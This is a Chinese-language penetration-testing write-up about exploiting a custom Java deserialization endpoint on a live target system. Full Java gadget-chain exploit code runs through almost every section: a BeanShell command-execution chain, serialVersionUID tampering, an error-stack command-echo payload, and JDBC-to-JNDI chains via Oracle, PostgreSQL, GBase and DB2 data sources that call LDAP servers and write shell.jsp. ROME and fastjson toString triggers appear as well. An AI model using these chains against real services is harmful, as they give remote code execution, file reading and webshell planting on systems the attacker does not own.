1.自定义反序列化

在它的某个页面中,发现了自定义反序列化,这个页面好就好在它会返回报错堆栈的序列化数据,方便debug。

URLDNS探测结果如下。
cc31or321
ajw
JRE8u20
fastjson
windows
cb17
bsh20b4
DefiningClassLoader
Jdk7u21

看起来反序列化链很多,实际结果呢?用jdk7u21试一试,结果当然是失败了。我们可以解析序列化报错堆栈来看为什么失败。

赫然发现根本没有com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。
回过头来看反序列化链,jdk7u21和jre8u20要TemplatesImpl,fastjson和cb17本质是调getter,基本也需要TemplatesImpl,那么剩下的就是cc31or321/ajw/bsh20b4。
继续探索后发现这三个类都被ban了,那么CC系和CB系就别想了。
org.apache.commons.collections.map.LazyMap
org.apache.commons.collections.map.TransformedMap
org.apache.commons.beanutils.BeanComparator

2.Bsh反序列化链

自此只剩下了bsh20b4链,这也是最终答案,但是依旧有坑点需要解决。

        Interpreter interpreter = new Interpreter();        String cmd = "calc";        String func = "isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");"                + "compare(Object foo, Object bar) {"                + "if(isWin){new java.lang.ProcessBuilder(new String[]{\"cmd.exe\",\"/c\",\""+cmd+"\"}).start();}"                + "else{new java.lang.ProcessBuilder(new String[]{\"/bin/bash\",\"-c\",\""+cmd+"\"}).start();}"                + "return new Integer(1);}";        interpreter.eval(func);        XThis xt = new XThis(interpreter.getNameSpace(), interpreter);        InvocationHandler handler = (InvocationHandler) getFieldValue(xt, "invocationHandler");        Comparator proxy = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),new Class[]{Comparator.class}, handler);        final PriorityQueue pq = new PriorityQueue();        pq.add(1);        pq.add(2);        setFieldValue(pq, "comparator", proxy);

得到的结果居然是

java.io.InvalidClassException: bsh.XThis; local class incompatible: stream classdesc serialVersionUID = -6803452281441498586, local class serialVersionUID = -5567781273343879209

尽管用的是同版本,依旧有serialVersionUID报错。首先我们得知道如何获取class的serialVersionUID,因为这玩意儿你直接反编译jar包,很多时候都看不到。

        ObjectStreamClass osc1 = ObjectStreamClass.lookup(bsh.XThis.class);        System.out.println(osc1.getSerialVersionUID());

其次就是怎么将本地上的serialVersionUID改成一样,有两种办法。
第一种是直接在引用jar包的同时,复制一个完全一样的类,并且自定义serialVersionUID属性。

这样的话,第三方jar包的bsh.XThis类就会被覆盖掉。同理,这种办法也可以应用在你需要修改第三方jar包的情况下(比如iiop的nat问题)。但注意,如果是jdk自带类,是无法覆盖掉的,这个时候就需要用到第二种方法。

第二种,反射修改。
当然,由于serialVersionUID是final修饰,我们常用的setFieldValue是无法修改的。

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }

以下是实战中可能会碰上的修改TemplatesImpl的sUID。

        TemplatesImpl obj = new TemplatesImpl();                java.lang.reflect.Field sUID = obj.getClass().getDeclaredField("serialVersionUID");        sUID.setAccessible(true);        Field modifiersField = Field.class.getDeclaredField("modifiers");        modifiersField.setAccessible(true);        modifiersField.setInt(sUID, sUID.getModifiers() & ~Modifier.FINAL);        sUID.set(obj, -3070939614679977597L);        System.out.print(getFieldValue(obj, "serialVersionUID"));

总而言之,当修改掉三处serialVersionUID之后,就能成功反序列化并执行命令了。此时由于无法用TemplatesImpl,只能用Bcel和DefineClass,再加上对方的环境不一定是tomcat,所以命令回显或者内存马并没有那么容易。但是这不是有序列化的堆栈回显吗?所以可以利用报错,轻松解析对方的返回包来达到命令回显的目的。考虑到对方jdk版本可能较低,bsh回显代码如下。

        if (cmd.isEmpty()) {             cmd = "whoami";        }        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.makeClass("foo");        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);        constructor.setExceptionTypes(new CtClass[]{pool.get("java.lang.Exception")});                constructor.setBody("{"                + "        String cmd = \""+cmd+"\";\r\n"                + "        String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\r\n"                + "        Process process = Runtime.getRuntime().exec(cmds);\r\n"                + "        java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\r\n"                + "        java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\\\a\");\r\n"                + "        String output = s.hasNext() ? s.next() : \"\";\r\n"                + "        output = \"@@@@@\\r\\n\"+output+\"\\r\\n@@@@@\";\r\n"                + "        throw new Exception(output);"                + "}");                        clazz.addConstructor(constructor);        clazz.getClassFile().setMajorVersion(50);//jdk1.6  52=jdk1.8                byte[] bs = clazz.toBytecode();        String base64 = base64_encode(bs);                        Interpreter interpreter = new Interpreter();        String func =                  "compare(Object foo, Object bar) {"                + "new org.mozilla.javascript.DefiningClassLoader().defineClass(\"foo\",new sun.misc.BASE64Decoder().decodeBuffer(\""+base64+"\")).newInstance();"                + "return new Integer(1);"                + "}";

不过需要注意,这样反序列化返回包提取信息有着被反制的风险。

3.升级jdk7u21

后来发现有的目标将bsh版本升高了,返回

bsh.XThis$Handler; class invalid for deserialization

也就是说bsh.XThis$Handler不再支持反序列化,因此后续可能需要结合其他getter来利用。由于发现目标用的低版本JDK,因此jdk7u21+getConnection就是一种可能的组合。
我之前的一篇文章《从CommonsBeanutils说开去》中使用了cb链+getConnection,在jdk7u21中也可以这样用,先回顾下jdk7u21的代码。

        FileInputStream inputFromFile = new FileInputStream("D:\\Downloads\\workspace\\javareadobject\\bin\\test\\TemplatesImplcmd.class");        byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);        TemplatesImpl tempImpl = new TemplatesImpl();        setFieldValue(tempImpl, "_bytecodes", new byte[][]{bs});        setFieldValue(tempImpl, "_name", "TemplatesImpl");        setFieldValue(tempImpl, "_tfactory", new TransformerFactoryImpl());
        HashMap hm = new HashMap();        Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        Permit.setAccessible(ctor);        InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });        setFieldValue(ih, "type", Templates.class);        Templates TemplatesProxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(), new Class[] {Templates.class}, ih);                LinkedHashSet lhs = new LinkedHashSet();        lhs.add(tempImpl);        lhs.add(TemplatesProxy);        setFieldValue(tempImpl, "_auxClasses", null);        setFieldValue(tempImpl, "_class", null);        hm.put("0DE2FF10", tempImpl);        
                ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));        objectOutputStream.writeObject(lhs);        objectOutputStream.close();
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));        objectInputStream.readObject();

可以看的出来,jdk7u21本质上是往LinkedHashSet中放两个对象,一个是恶意类,一个是此类的接口的代理,然后通过反序列化链随机触发代理的一个方法。和CB链本质上执行任意getter一样,jdk7u21本质上就是执行接口的无参方法。如果有多个方法怎么办呢?测试下来发现会随机执行,如果运气比较差,有危害的方法不在第一个,就会直接抛错退出了。
如下图,Templates随机触发newTransformer和getOutputProperties,这两个都会RCE。

用jdk7多次执行如下代码也可以快速发现排第一个的方法是哪个。

        Class clazz = Class.forName("javax.sql.RowSet");        Method[] methods =  clazz.getMethods();                System.out.println(methods[0]);//        for (int i = 0; i < methods.length; i++) {//            System.out.println(methods[0]);//        }

具体原理如下。

https://www.lmboke.com/archives/jvmyuan-ma-fen-xi-zhi-bu-bao-zheng-shun-xu-de-class.getmethods

而javax.sql.DataSource这个接口正好有getConnection()以触发jdbc,所以只需要找个实现了DataSource和Serializable接口的类就行。
在数据库相关jar包中,很容易找到这种类,之前我找到的是com.mysql.cj.jdbc.MysqlDataSource和oracle.jdbc.datasource.impl.OracleDataSource,但在目标环境中都无法使用。一是它没有mysql依赖,二是它jdk版本较低,而这两个类的代码要求高版本jdk。
在Oracle中很容易找到替代类,可以造成SSRF。

        OracleConnectionPoolDataSource ods = new OracleConnectionPoolDataSource();        ods.setURL("jdbc:oracle:thin:@//127.0.0.1:1521/orcl");        ods.setUser("system");        ods.setPassword("123456");        HashMap hm = new HashMap();        Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        Permit.setAccessible(ctor);        InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });        setFieldValue(ih, "type", DataSource.class);        DataSource TemplatesProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);                LinkedHashSet lhs = new LinkedHashSet();        lhs.add(ods);        lhs.add(TemplatesProxy);        hm.put("0DE2FF10", ods);

Oracle中还各有一个setter和一个getter可以造成jndi。

oracle.jdbc.rowset.OracleCachedRowSet obj = new OracleCachedRowSet();obj.setDataSourceName("ldap://127.0.0.1:1389/exp");obj.getConnection();
oracle.jdbc.rowset.OracleJDBCRowSet obj2 = new OracleJDBCRowSet();obj2.setDataSourceName("ldap://127.0.0.1:1389/exp");obj2.setCommand("123");

后者曾在fastjson上使用过,前者可以本地环境测试成功,但实际用的时候会因为javax.sql.RowSetInternal接口方法太多,对方jdk环境第一个不是getConnection()导致报错。

        OracleCachedRowSet obj = new OracleCachedRowSet();        obj.setDataSourceName("ldap://127.0.0.1:1389/exp");        //obj.getConnection();
                HashMap hm = new HashMap();        Constructor<?> ctor2 = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        Permit.setAccessible(ctor2);        InvocationHandler ih = (InvocationHandler)ctor2.newInstance(new Object[] { Override.class, hm });        setFieldValue(ih, "type", RowSetInternal.class);        RowSetInternal odsProxy = (RowSetInternal)Proxy.newProxyInstance(RowSetInternal.class.getClassLoader(), new Class[] {RowSetInternal.class}, ih);                LinkedHashSet lhs = new LinkedHashSet();        lhs.add(obj);        lhs.add(odsProxy);        hm.put("0DE2FF10", obj);

4.其他getConnection

仅SSRF显然是完全不够的,使用URLDNS继续探测jndi常用类,有如下结果。
org_apache_naming_factory_BeanFactory
org_postgresql_Driver
oracle_jdbc_driver_OracleDriver
org_yaml_snakeyaml_Yaml
com_thoughtworks_xstream_XStream
org_apache_catalina_users_MemoryUserDatabaseFactory
org_apache_commons_dbcp_BasicDataSourceFactory
org_apache_catalina_UserDatabase


其中postgresql可供我们jdbc攻击,而commons-dbcp则可能提供类似oracle.ucp.jdbc.PoolDataSourceImpl这种封装jdbc的类。
首先可以想到的是在fastjson不出网解决方案之一的org.apache.tomcat.dbcp.dbcp.BasicDataSource,不过很遗憾它没有实现Serializable。
继而我们可以发散思维,在jackson的黑名单中寻找方案。

        s.add("org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS");        s.add("org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource");        s.add("org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource");

其中PerUserPoolDataSource和SharedPoolDataSource都是InstanceKeyDataSource的子类,它们可以实现jndi。

        InstanceKeyDataSource dbs = new SharedPoolDataSource();        //dbs = new PerUserPoolDataSource();        dbs.setDataSourceName("ldap://127.0.0.1:1389/deser:cck2:Y2FsYw==");        //dbs.getConnection();                        HashMap hm = new HashMap();        Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        Permit.setAccessible(ctor);        InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });        setFieldValue(ih, "type", DataSource.class);        DataSource dbsProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);                LinkedHashSet lhs = new LinkedHashSet();        lhs.add(dbs);        lhs.add(dbsProxy);        hm.put("0DE2FF10", dbs);

同时也存在sUID和依赖问题,使用commons-dbcp-1.2.jar/ commons-pool-1.2.jar/ commons-collections-3.1.jar即可。
但遗憾的是,本地测试没问题,实际漏洞利用的时候会报空指针。可能是因为低版本JDK的原因,而oldDS.pool是新生成的,无法控制。

于是将目光转向DriverAdapterCPDS,可以发现它实现javax.sql.ConnectionPoolDataSource,getPooledConnection()可以造成jdbc。

        DriverAdapterCPDS dbs = new DriverAdapterCPDS();        dbs.setUrl("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp");        dbs.setDriver("org.postgresql.Driver");        dbs.setUser("root");        dbs.setPassword("123456");        //dbs.getPooledConnection();                HashMap hm = new HashMap();        Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        Permit.setAccessible(ctor);        InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });        setFieldValue(ih, "type", ConnectionPoolDataSource.class);        ConnectionPoolDataSource dbsProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);        LinkedHashSet lhs = new LinkedHashSet();        lhs.add(dbs);        lhs.add(dbsProxy);        hm.put("0DE2FF10", dbs);

举一反三,还可以在postgresql中发现org.postgresql.ds.PGConnectionPoolDataSource,也实现了ConnectionPoolDataSource。

        PGConnectionPoolDataSource ods = new PGConnectionPoolDataSource();        ods.setURL("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp");        ods.setUser("root");        ods.setPassword("123456");                HashMap hm = new HashMap();        Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        Permit.setAccessible(ctor);        InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });        setFieldValue(ih, "type", ConnectionPoolDataSource.class);        ConnectionPoolDataSource odsProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);                LinkedHashSet lhs = new LinkedHashSet();        lhs.add(ods);        lhs.add(odsProxy);        hm.put("0DE2FF10", ods);

postgresql存在两个jdbc漏洞,在目标环境上可以使用吗?答案是不行,对方使用的是低版本postgresql,并不存在那两个漏洞。

5.gbase jdbc

目标存在国产数据库(魔改mysql)gbase,用法和mysql几乎完全一样,虽然数据库无法用load data local infile语句,但客户端依旧存在文件读取漏洞。

        GBaseDataSource obj = new GBaseDataSource();        obj.setAllowLoadLocalInfile(true);        obj.setAllowUrlInLocalInfile(true);        obj.setMaxAllowedPacket(65536);        obj.setUser("root");        obj.setPassword("123456");        obj.setServerName("127.0.0.1");        obj.setPort(3307);        //obj.getConnection();                HashMap hm = new HashMap();        Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        Permit.setAccessible(ctor);        InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });        setFieldValue(ih, "type", DataSource.class);        DataSource odsProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);                LinkedHashSet lhs = new LinkedHashSet();        lhs.add(obj);        lhs.add(odsProxy);        hm.put("0DE2FF10", obj);

6.db2 jdbc

可以看出来,辛辛苦苦找的链均因为各种意外无法RCE,于是在目标上又探测到了db2和mssql,其中db2是存在jdbc转jndi的。

        Class.forName("com.ibm.db2.jcc.DB2Driver");        String DB_URL = "jdbc:db2://localhost:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/qqq;";        Connection conn = DriverManager.getConnection(DB_URL);

很容易在db2jcc.jar上找到符合条件的类也就是com.ibm.db2.jcc.DB2ConnectionPoolDataSource

        DB2ConnectionPoolDataSource db2 = new DB2ConnectionPoolDataSource();        db2.setDriverType(4);        db2.setServerName("127.0.0.1");        db2.setLoginTimeout(10000);        db2.setPortNumber(5667);        db2.setUser("root");        db2.setPassword("123456");        db2.setDatabaseName("test");        db2.setClientRerouteServerListJNDIName("ldap://127.0.0.1:1389/qqq");        //db2.getPooledConnection();                HashMap hm = new HashMap();        Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        Permit.setAccessible(ctor);        InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });        setFieldValue(ih, "type", ConnectionPoolDataSource.class);        ConnectionPoolDataSource DataSourceProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);                LinkedHashSet lhs = new LinkedHashSet();        lhs.add(db2);        lhs.add(DataSourceProxy);        hm.put("0DE2FF10", db2);

这条反序列化转jdbc转jndi注入链倒是很顺利,没出什么问题。

7.codeql

找链的过程中还歪到什么rmi/swing上去了,整个过程离不开codeql的帮助。简单写写大概就是这样的。

import java
abstract class Sink extends Method{}abstract class Source extends SerializableMethod{}
class SerializableMethod extends Method {    SerializableMethod() {        this.getDeclaringType().getASupertype*() instanceof TypeSerializable        and not this.getDeclaringType().isAbstract() //不是接口或者抽象类        and this.getDeclaringType().getASupertype*().isAbstract()        and this.fromSource()        and this.isPublic()        and this.paramsString() = "()"        //and this.getDeclaringType().getASupertype*().hasQualifiedName("javax.sql", "DataSource")    }
}
class GetMethod extends Source {    GetMethod() {        (this.getName().matches("connect") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("connect"))        or         (this.getName().matches("get%Connection") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("get%Connection"))        or        (this.getName().matches("run") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("run"))        or         (this.getName().matches("execute") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("execute"))    }}

from GetMethod sourceselect source,source.getDeclaringType().getPackage().getName(),source.getDeclaringType(),source.getTotalNumberOfLines()

一些看起来能够造成危害实际上不行的方法。

bsh.util.AWTConsole.run() //java.io.PipedOutputStream无法序列化javax.management.remote.rmi.RMIConnector.connect() //第一个方法不是它oracle.jdbc.connector.OracleManagedConnectionFactory.getLogWriter() //第一个方法不是它oracle.jdbc.rowset.OracleJDBCRowSet.execute() //第一个方法不是它oracle.jdbc.pool.OraclePooledConnection.getConnection() //jdbc泄露用户名,但构造更加复杂,参考CVE-2021-2294net.sourceforge.jtds.jdbcx.JtdsDataSource.getConnection()  //jdbc泄露主机名,可写文件但无法控制内容。

8.    fastjson+jndi

这里的fastjson完全不能用吗?当然不是,虽然fastjson原生反序列化链通常也是拿来触发TemplatesImpl.getOutputProperties(),但显然其他getter也可以。比如被我们抛弃的InstanceKeyDataSource。

        InstanceKeyDataSource obj = new SharedPoolDataSource();        //obj = new PerUserPoolDataSource();        obj.setDataSourceName("ldap://127.0.0.1:1389/exp");                        JSONArray jsonArray = new JSONArray();        jsonArray.add(obj);
        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);        setFieldValue(bd,"val",jsonArray);
        HashMap hashMap = new HashMap();        hashMap.put(obj,bd);

当然,我们更倾向于使用jdk原生getter而不是第三方jar包,原生getter中有一个非常出名的getter——com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()

但接到fastjson链中却不太好用,因为fastjson会轮询所有getter,在执行我们想要的那个getter之前,会触发其他getter导致进入checkState()校验导致报错中断。

当然,也许可以捏造出符合条件的conn/ps/rs,但终究还是很麻烦。于是一个可以替代JdbcRowSetImpl的com.sun.jndi.ldap.LdapAttribute就能派上用场了。

        Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});        ctor.setAccessible(true);        Attribute obj = (Attribute) ctor.newInstance("id");        setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:1389/");        setFieldValue(obj, "rdn", new CompositeName("exp"+"//b"));        obj.getAttributeDefinition();

本地测试如下。

        String url = "ldap://127.0.0.1:1389/deser:fastjson2:Y2FsYw==";        String ldap_url = url.substring(0,url.lastIndexOf("/"));        String rdn = url.substring(url.lastIndexOf("/")+1);          System.out.print(ldap_url+"\r\n");          System.out.print(rdn+"\r\n");                Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});        ctor.setAccessible(true);        Attribute obj = (Attribute) ctor.newInstance("id");        setFieldValue(obj, "baseCtxURL", ldap_url);        setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));        //obj.getAttributeDefinition();
               JSONArray jsonArray = new JSONArray();        jsonArray.add(obj);        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);        setFieldValue(bd,"val",jsonArray);        HashMap hashMap = new HashMap();                hashMap.put(obj,bd); 

不过遗憾的是BadAttributeValueExpException这个触发toString的核心类,在jdk1.7版本无法触发toString,因此fastjson和jackson的原生反序列化都只能用在jdk1.8或者以上版本。

有没有其他能够触发toString的办法呢?当然有,刚好有篇比较新的文章介绍了几个链。
HotSwappableTargetSource & XString
依赖spring-aop.jar/spring-core.jar

        String url = "ldap://127.0.0.1:1389/deser:cb18:Y2FsYw==";        String ldap_url = url.substring(0,url.lastIndexOf("/"));        String rdn = url.substring(url.lastIndexOf("/")+1);        System.out.print(ldap_url+"\r\n");        System.out.print(rdn+"\r\n");                Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});        ctor.setAccessible(true);        Attribute obj = (Attribute) ctor.newInstance("id");        setFieldValue(obj, "baseCtxURL", ldap_url);        setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));        //obj.getAttributeDefinition();        JSONObject jsonObject = new JSONObject();        jsonObject.put("g","m");        JSONObject jsonObject1 = new JSONObject();        jsonObject1.put("g",obj);
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));
        HashMap<Object,Object> hashMap = new HashMap<>();        String java_version = System.getProperty("java.version").substring(0,3);        double version = Double.parseDouble(java_version);        System.out.println(version);                if (version < 1.8) {            hashMap.put(v2,v2);            hashMap.put(v1,v1);        } else  {            hashMap.put(v1,v1);            hashMap.put(v2,v2);        }        setFieldValue(v1,"target",jsonObject1);                HashMap hashMap2 = new HashMap();        hashMap2.put(obj, hashMap);

这条链有两个问题,一个是在jdk1.7时由于HashMap代码的变动,需要更改一下put顺序,另外一个就是它也存在和BadAttributeValueExpException一样的问题,fastjson版本过高就会经过checkAutoType导致报错。可以注意我最后用hashMap的处理。

9.    ROME

文章中还介绍了ROME链。
EqualsBean,依赖ROME<1.12.0

这条链如文章所述,有个反直觉的地方,JdbcRowSetImpl可以用,LdapAttribute用不了。LdapAttribute用不了的原因是LdapAttribute有个方法get(),会导致获取getter时报错——因为取不到getXX后面的XX。
而JdbcRowSetImpl可以用的原因是因为运气够好,恰好getDatabaseMetaData()前面的getter都不会报错(不是100%)。
详情可以断点com.sun.syndication.feed.impl.BeanIntrospector.getPDs()查看。
原文中给出的ROME链是这样的。

        ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);        Object templatesimpl = null;
        HashMap<Object,Object> hashMap = new HashMap<>();        hashMap.put(equalsBean,"123");
        Field field = toStringBean.getClass().getDeclaredField("obj"); // 低版本(如1.0)此属性名为 _obj        field.setAccessible(true);        field.set(toStringBean,templatesimpl);

先要把Templates 改成JdbcRowSetImpl。
new ConstantTransformer(1)看起来依赖CC链,实际上不是必须的。这里只是为了实例化时不报错,后面会反射成Templatesimpl。顺便做obj/_obj的兼容性处理。

        JdbcRowSetImpl obj = new JdbcRowSetImpl();        JdbcRowSetImpl obj2 = new JdbcRowSetImpl();        obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
        Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap<Object,Object> hashMap = new HashMap<>();        hashMap.put(equalsBean,"1");                try {            setFieldValue(toStringBean, "obj", obj);        } catch (Exception e) {            setFieldValue(toStringBean, "_obj", obj);        }

由于ROME高版本和低版本包名不同,因此做反射处理。

        JdbcRowSetImpl obj = new JdbcRowSetImpl();        JdbcRowSetImpl obj2 = new JdbcRowSetImpl();        obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
        Class clazzToStringBean;        Class clazzEqualsBean;        try {            clazzToStringBean = Class.forName("com.rometools.rome.feed.impl.ToStringBean");        } catch (Exception e) {            clazzToStringBean = Class.forName("com.sun.syndication.feed.impl.ToStringBean");        }        try {            clazzEqualsBean = Class.forName("com.rometools.rome.feed.impl.EqualsBean");        } catch (Exception e) {            clazzEqualsBean = Class.forName("com.sun.syndication.feed.impl.EqualsBean");        }        Object toStringBean = clazzToStringBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(JdbcRowSetImpl.class,obj2);        Object equalsBean = clazzEqualsBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(clazzToStringBean,toStringBean);                //Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);        //EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap<Object,Object> hashMap = new HashMap<>();        hashMap.put(equalsBean,"1");                try {            setFieldValue(toStringBean, "obj", obj);        } catch (Exception e) {            setFieldValue(toStringBean, "_obj", obj);        }

这样已经可以本地测试成功了,但在 HashMap.put()时会有报错,尽管不影响执行。

在jdk1.7中是因为put时会触发toString,而toString会报错。如果将ToStringBean(JdbcRowSetImpl.class,obj2)中的obj2换成obj,就会提前触发jndi。正是靠这个原理,才能用readObject触发put触发toString。
想要不出现这个报错,绕过put()内的hash()即可,然后做jdk1.8和jdk1.7的兼容性处理。

        JdbcRowSetImpl obj = new JdbcRowSetImpl();        JdbcRowSetImpl obj2 = new JdbcRowSetImpl();        obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
        Class clazzToStringBean;        Class clazzEqualsBean;        try {            clazzToStringBean = Class.forName("com.rometools.rome.feed.impl.ToStringBean");        } catch (Exception e) {            clazzToStringBean = Class.forName("com.sun.syndication.feed.impl.ToStringBean");        }        try {            clazzEqualsBean = Class.forName("com.rometools.rome.feed.impl.EqualsBean");        } catch (Exception e) {            clazzEqualsBean = Class.forName("com.sun.syndication.feed.impl.EqualsBean");        }        Object toStringBean = clazzToStringBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(JdbcRowSetImpl.class,obj2);        Object equalsBean = clazzEqualsBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(clazzToStringBean,toStringBean);                //Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);        //EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap<Object,Object> hashMap = new HashMap<>();        try {            setFieldValue(hashMap, "modCount", 1);            Method addEntry = HashMap.class.getDeclaredMethod("addEntry", new Class[]{int.class,Object.class,Object.class,int.class});            addEntry.setAccessible(true);            addEntry.invoke(hashMap, new Object[]{-2122412728,equalsBean,"123",8});        } catch (Exception e) {            try {                Method putVal = HashMap.class.getDeclaredMethod("putVal", new Class[]{int.class,Object.class,Object.class,boolean.class,boolean.class});                putVal.setAccessible(true);                putVal.invoke(hashMap, new Object[]{-1997974365,equalsBean,"123",false,true});            } catch (Exception e2) {                hashMap.put(equalsBean,"123");            }        }           try {            setFieldValue(toStringBean, "obj", obj);        } catch (Exception e) {            setFieldValue(toStringBean, "_obj", obj);        }

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。